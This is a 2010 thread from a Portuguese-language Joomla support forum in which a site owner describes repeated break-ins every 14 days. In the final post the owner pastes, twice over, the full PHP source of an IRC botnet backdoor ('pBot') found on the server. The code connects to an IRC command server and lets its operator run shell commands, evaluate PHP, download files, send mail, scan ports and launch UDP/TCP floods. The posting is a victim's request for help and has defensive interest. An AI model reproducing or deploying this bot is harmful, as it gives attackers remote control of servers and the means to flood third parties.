- Postagens: 11
- Obrigados Recebidos: 0
- Fórum
- /
- Suporte Joomla
- /
- Administração
- /
- Joomla 1.5
- /
- Site sendo invadido, Preciso de ajuda profissional. Urgente
Site sendo invadido, Preciso de ajuda profissional. Urgente
- estefer
-
Autor do Tópico
- Offline
- JCB! Estagiário
-
Menos
Mais
15 anos 3 meses atrás #33839
por estefer
estefer replied the topic: Re: Site sendo invadido, Preciso de ajuda profissional. Urgente
É amigo, o problema não foi resolvido..
Ontem dia 14/06/2010 aconteceu de novo.
E as mesmas coisas.
Já não sei mais o que fazer.
Configuration.php tirei da raiz do site
.htaccess foi eu renomiei.
coloquei senha no servidor para pasta administrator
Configurações Globais eu esta - off
O ataque faz exatamente a mesma coisa, tira o acesso ao admin, cria alguns arquivos na raiz do site.
é tudo exatamente igual, isso me leva crer que não é uma pessoa fazendo isso e sim alguma coisa programada para ser executada. Sempre com intervalo de 14 dias, sempre num domingo e de madrugada.
O problema poderia ser meu servidor onde hospedo o site ??
Preciso de ajuda. Não sei o que fazer mais.
Ontem dia 14/06/2010 aconteceu de novo.
E as mesmas coisas.
Já não sei mais o que fazer.
Configuration.php tirei da raiz do site
.htaccess foi eu renomiei.
coloquei senha no servidor para pasta administrator
Configurações Globais eu esta - off
O ataque faz exatamente a mesma coisa, tira o acesso ao admin, cria alguns arquivos na raiz do site.
é tudo exatamente igual, isso me leva crer que não é uma pessoa fazendo isso e sim alguma coisa programada para ser executada. Sempre com intervalo de 14 dias, sempre num domingo e de madrugada.
O problema poderia ser meu servidor onde hospedo o site ??
Preciso de ajuda. Não sei o que fazer mais.
Please Entrar ou Registrar to join the conversation.
- tecnicojampa
-
- Offline
- JCB! Professional
-
Menos
Mais
- Postagens: 222
- Obrigados Recebidos: 0
15 anos 3 meses atrás #33841
por tecnicojampa
[b:24hiof90]Saudações a todos![/b:24hiof90]
[b:24hiof90][i:24hiof90][color=#0080FF:24hiof90]Tecnico[/color:24hiof90][color=#FFBF40:24hiof90]- Jampa[/color:24hiof90][/b:24hiof90][/i:24hiof90]
tecnicojampa replied the topic: Re: Site sendo invadido, Preciso de ajuda profissional. Urgente
JCB o meu problema resolvi instalando um sistema de auditoria no meu site. Sendo assim é lhe passado um relatorio diario com suas vulnerabilidades. Ai só corrigir.
Abraço
Abraço
[b:24hiof90]Saudações a todos![/b:24hiof90]
[b:24hiof90][i:24hiof90][color=#0080FF:24hiof90]Tecnico[/color:24hiof90][color=#FFBF40:24hiof90]- Jampa[/color:24hiof90][/b:24hiof90][/i:24hiof90]
Please Entrar ou Registrar to join the conversation.
- Walkus
-
- Offline
- JCB! Hero
-
Menos
Mais
- Postagens: 1458
- Obrigados Recebidos: 0
15 anos 3 meses atrás #33846
por Walkus
[color=#FF0000:1fjd1yw0][b:1fjd1yw0]>>> NÃO RESPONDO[/b:1fjd1yw0] dúvidas por MSN/MP/E-mail, somente em casos de extrema URGÊNCIA <<<[/color:1fjd1yw0][color=#008000:1fjd1yw0] ####[/color:1fjd1yw0] Obrigado
[color=#0000BF:1fjd1yw0]##[/color:1fjd1yw0][color=#8000FF:1fjd1yw0]##[/color:1fjd1yw0][color=#FF00FF:1fjd1yw0]##[/color:1fjd1yw0][color=#FF4040:1fjd1yw0]##[/color:1fjd1yw0][color=#FFBF00:1fjd1yw0]##[/color:1fjd1yw0][color=#FFFF00:1fjd1yw0]##[/color:1fjd1yw0][color=#BFFF80:1fjd1yw0]##[/color:1fjd1yw0][color=#8080FF:1fjd1yw0][b:1fjd1yw0]www.[/b:1fjd1yw0][/color:1fjd1yw0][color=#FF0000:1fjd1yw0][b:1fjd1yw0]wa[/b:1fjd1yw0][/color:1fjd1yw0][color=#000000:1fjd1yw0]master[/color:1fjd1yw0][color=#8080FF:1fjd1yw0][b:1fjd1yw0].com.br[/b:1fjd1yw0][/color:1fjd1yw0] [color=#FFFFBF:1fjd1yw0]##[/color:1fjd1yw0][color=#FFFF80:1fjd1yw0]##[/color:1fjd1yw0][color=#FFFF40:1fjd1yw0]##[/color:1fjd1yw0][color=#FFFF00:1fjd1yw0]##[/color:1fjd1yw0][color=#008000:1fjd1yw0]##[/color:1fjd1yw0]
Walkus replied the topic: Re: Site sendo invadido, Preciso de ajuda profissional. Urgente
tecnicojampa;
Se o seu problema foi solucionado, por favor, edite seu primeiro post incluindo [RESOLVIDO] no início do título.
Abç e sucesso.
Se o seu problema foi solucionado, por favor, edite seu primeiro post incluindo [RESOLVIDO] no início do título.
Abç e sucesso.
[color=#FF0000:1fjd1yw0][b:1fjd1yw0]>>> NÃO RESPONDO[/b:1fjd1yw0] dúvidas por MSN/MP/E-mail, somente em casos de extrema URGÊNCIA <<<[/color:1fjd1yw0][color=#008000:1fjd1yw0] ####[/color:1fjd1yw0] Obrigado
[color=#0000BF:1fjd1yw0]##[/color:1fjd1yw0][color=#8000FF:1fjd1yw0]##[/color:1fjd1yw0][color=#FF00FF:1fjd1yw0]##[/color:1fjd1yw0][color=#FF4040:1fjd1yw0]##[/color:1fjd1yw0][color=#FFBF00:1fjd1yw0]##[/color:1fjd1yw0][color=#FFFF00:1fjd1yw0]##[/color:1fjd1yw0][color=#BFFF80:1fjd1yw0]##[/color:1fjd1yw0][color=#8080FF:1fjd1yw0][b:1fjd1yw0]www.[/b:1fjd1yw0][/color:1fjd1yw0][color=#FF0000:1fjd1yw0][b:1fjd1yw0]wa[/b:1fjd1yw0][/color:1fjd1yw0][color=#000000:1fjd1yw0]master[/color:1fjd1yw0][color=#8080FF:1fjd1yw0][b:1fjd1yw0].com.br[/b:1fjd1yw0][/color:1fjd1yw0] [color=#FFFFBF:1fjd1yw0]##[/color:1fjd1yw0][color=#FFFF80:1fjd1yw0]##[/color:1fjd1yw0][color=#FFFF40:1fjd1yw0]##[/color:1fjd1yw0][color=#FFFF00:1fjd1yw0]##[/color:1fjd1yw0][color=#008000:1fjd1yw0]##[/color:1fjd1yw0]
Please Entrar ou Registrar to join the conversation.
- estefer
-
Autor do Tópico
- Offline
- JCB! Estagiário
-
Menos
Mais
- Postagens: 11
- Obrigados Recebidos: 0
15 anos 3 meses atrás #33874
por estefer
Fala JAPA!
Onde eu consigo esse sistema que você esta falando ??
estefer replied the topic: Re: Site sendo invadido, Preciso de ajuda profissional. Urgente
tecnicojampa escreveu: JCB o meu problema resolvi instalando um sistema de auditoria no meu site. Sendo assim é lhe passado um relatorio diario com suas vulnerabilidades. Ai só corrigir.
Abraço
Fala JAPA!
Onde eu consigo esse sistema que você esta falando ??
Please Entrar ou Registrar to join the conversation.
- estefer
-
Autor do Tópico
- Offline
- JCB! Estagiário
-
Menos
Mais
- Postagens: 11
- Obrigados Recebidos: 0
15 anos 3 meses atrás #33892
por estefer
estefer replied the topic: Re: Site sendo invadido, Preciso de ajuda profissional. Urgente
Enquanto eu estava verificando os arquivos do site apareceu um outro olhem isso
PackBot is now running!
<?
set_time_limit(0);
error_reporting(0);
class pBot
{
var $config = array("server"=>"irc.byroe.net",
"port"=>6667,
"pass"=>"",
"prefix"=>"retyohet|",
"maxrand"=>5,
"chan"=>"#sendiridanrahasia",
"key"=>"retyohet|", //senha do canal
"modes"=>"+p",
"password"=>"iamlameriamlameriamlamer", //senha do bot
"trigger"=>".",
"hostauth"=>"Routing.Committe.Byroe.Net" // * for any hostname
);
var $users = array();
function start()
{
if(!($this->conn = fsockopen($this->config,$this->config,$e,$s,30)))
$this->start();
$ident = "retyohet";
if(strlen($this->config)>0)
$this->send("PASS ".$this->config);
$this->send("USER $ident 127.0.0.1 localhost :$ident");
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config);
$this->join($this->config,$this->config);
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config || $this->config == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "user":
if($mcmd[1]==$this->config)
{
$this->privmsg($this->config,"[\2Auth\2]: $nick logged in");
$this->log_in($host);
}
else
{
$this->privmsg($this->config,"[\2Auth\2]: Incorrect password from $nick");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "restart":
$this->send("QUIT :restart");
fclose($this->conn);
$this->start();
break;
case "mail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config,"[\2mail\2]: Unable to send");
}
else
{
$this->privmsg($this->config,"[\2mail\2]: Message sent to \2".$mcmd[1]."\2");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config,"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config,"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "info":
$this->privmsg($this->config,"[\2info\2]: [\2httpd\2: ".$_SERVER."] [\2docroot\2: ".$_SERVER."] [\2domain\2:
".$_SERVER."] [\2admin\2: ".$_SERVER."] [\2url\2:".$_SERVER."]");
break;
case "bot":
$this->privmsg($this->config,"[\23,1StupidBot\2]");
break;
case "cmd":
if(isset($mcmd[1]))
{
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config,"[\2cmd\2]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config," : $pbuf");
}
pclose($pipe);
}
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "php":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case "exec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("\n",$exec);
$this->privmsg($this->config,"[\2exec\2]: $command");
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config," : ".trim($ret[$i]));
break;
case "pscan": // .pscan 127.0.0.1 6667
if(count($mcmd) > 2)
{
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config,"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config,"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;
case "ud.server": // .udserver <server> <port> [password]
if(count($mcmd)>2)
{
$this->config = $mcmd[1];
$this->config = $mcmd[2];
if(isset($mcmcd[3]))
{
$this->config = $mcmd[3];
$this->privmsg($this->config,"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
}
else
{
$this->privmsg($this->config,"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]);
}
}
break;
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config,"[\2download\2]: Cannot download, permission denied.");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config,"[\2download\2]: Unable to download from \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config,"[\2download\2]: File \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
}
fclose($fp);
}
}
break;
case "die":
$this->send("QUIT :die command from $nick");
fclose($this->conn);
exit;
case "logout":
$this->log_out($host);
$this->privmsg($this->config,"[\2auth\2]: $nick logged out");
break;
case "udpflood":
if(count($mcmd)>3)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "tcpflood":
if(count($mcmd)>5)
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg\r\n");
}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick()
{
if(isset($_SERVER))
{
if(strstr(strtolower($_SERVER),"apache"))
$this->nick = "";
elseif(strstr(strtolower($_SERVER),"iis"))
$this->nick = "";
elseif(strstr(strtolower($_SERVER),"xitami"))
$this->nick = "[X]";
else
$this->nick = "";
}
else
{
$this->nick = "[C]";
}
$this->nick .= $this->config;
for($i=0;$i<$this->config;$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config,"[\2UdpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config,"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config,"[\2TcpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config,"[\2tcpflood\2]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config,"[\2TcpFlood Finished!\2]: Config - $packets packets to $host:$port.");
}
}
$bot = new pBot;
$bot->start();
?>
PackBot is now running!
<?
set_time_limit(0);
error_reporting(0);
class pBot
{
var $config = array("server"=>"irc.byroe.net",
"port"=>6667,
"pass"=>"",
"prefix"=>"retyohet|",
"maxrand"=>5,
"chan"=>"#sendiridanrahasia",
"key"=>"retyohet|", //senha do canal
"modes"=>"+p",
"password"=>"iamlameriamlameriamlamer", //senha do bot
"trigger"=>".",
"hostauth"=>"Routing.Committe.Byroe.Net" // * for any hostname
);
var $users = array();
function start()
{
if(!($this->conn = fsockopen($this->config,$this->config,$e,$s,30)))
$this->start();
$ident = "retyohet";
if(strlen($this->config)>0)
$this->send("PASS ".$this->config);
$this->send("USER $ident 127.0.0.1 localhost :$ident");
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config);
$this->join($this->config,$this->config);
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config || $this->config == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "user":
if($mcmd[1]==$this->config)
{
$this->privmsg($this->config,"[\2Auth\2]: $nick logged in");
$this->log_in($host);
}
else
{
$this->privmsg($this->config,"[\2Auth\2]: Incorrect password from $nick");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "restart":
$this->send("QUIT :restart");
fclose($this->conn);
$this->start();
break;
case "mail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config,"[\2mail\2]: Unable to send");
}
else
{
$this->privmsg($this->config,"[\2mail\2]: Message sent to \2".$mcmd[1]."\2");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config,"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config,"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "info":
$this->privmsg($this->config,"[\2info\2]: [\2httpd\2: ".$_SERVER."] [\2docroot\2: ".$_SERVER."] [\2domain\2:
".$_SERVER."] [\2admin\2: ".$_SERVER."] [\2url\2:".$_SERVER."]");
break;
case "bot":
$this->privmsg($this->config,"[\23,1StupidBot\2]");
break;
case "cmd":
if(isset($mcmd[1]))
{
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config,"[\2cmd\2]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config," : $pbuf");
}
pclose($pipe);
}
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "php":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case "exec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("\n",$exec);
$this->privmsg($this->config,"[\2exec\2]: $command");
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config," : ".trim($ret[$i]));
break;
case "pscan": // .pscan 127.0.0.1 6667
if(count($mcmd) > 2)
{
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config,"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config,"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;
case "ud.server": // .udserver <server> <port> [password]
if(count($mcmd)>2)
{
$this->config = $mcmd[1];
$this->config = $mcmd[2];
if(isset($mcmcd[3]))
{
$this->config = $mcmd[3];
$this->privmsg($this->config,"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
}
else
{
$this->privmsg($this->config,"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]);
}
}
break;
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config,"[\2download\2]: Cannot download, permission denied.");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config,"[\2download\2]: Unable to download from \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config,"[\2download\2]: File \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
}
fclose($fp);
}
}
break;
case "die":
$this->send("QUIT :die command from $nick");
fclose($this->conn);
exit;
case "logout":
$this->log_out($host);
$this->privmsg($this->config,"[\2auth\2]: $nick logged out");
break;
case "udpflood":
if(count($mcmd)>3)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "tcpflood":
if(count($mcmd)>5)
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg\r\n");
}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick()
{
if(isset($_SERVER))
{
if(strstr(strtolower($_SERVER),"apache"))
$this->nick = "";
elseif(strstr(strtolower($_SERVER),"iis"))
$this->nick = "";
elseif(strstr(strtolower($_SERVER),"xitami"))
$this->nick = "[X]";
else
$this->nick = "";
}
else
{
$this->nick = "[C]";
}
$this->nick .= $this->config;
for($i=0;$i<$this->config;$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config,"[\2UdpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config,"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config,"[\2TcpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config,"[\2tcpflood\2]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config,"[\2TcpFlood Finished!\2]: Config - $packets packets to $host:$port.");
}
}
$bot = new pBot;
$bot->start();
?>
Please Entrar ou Registrar to join the conversation.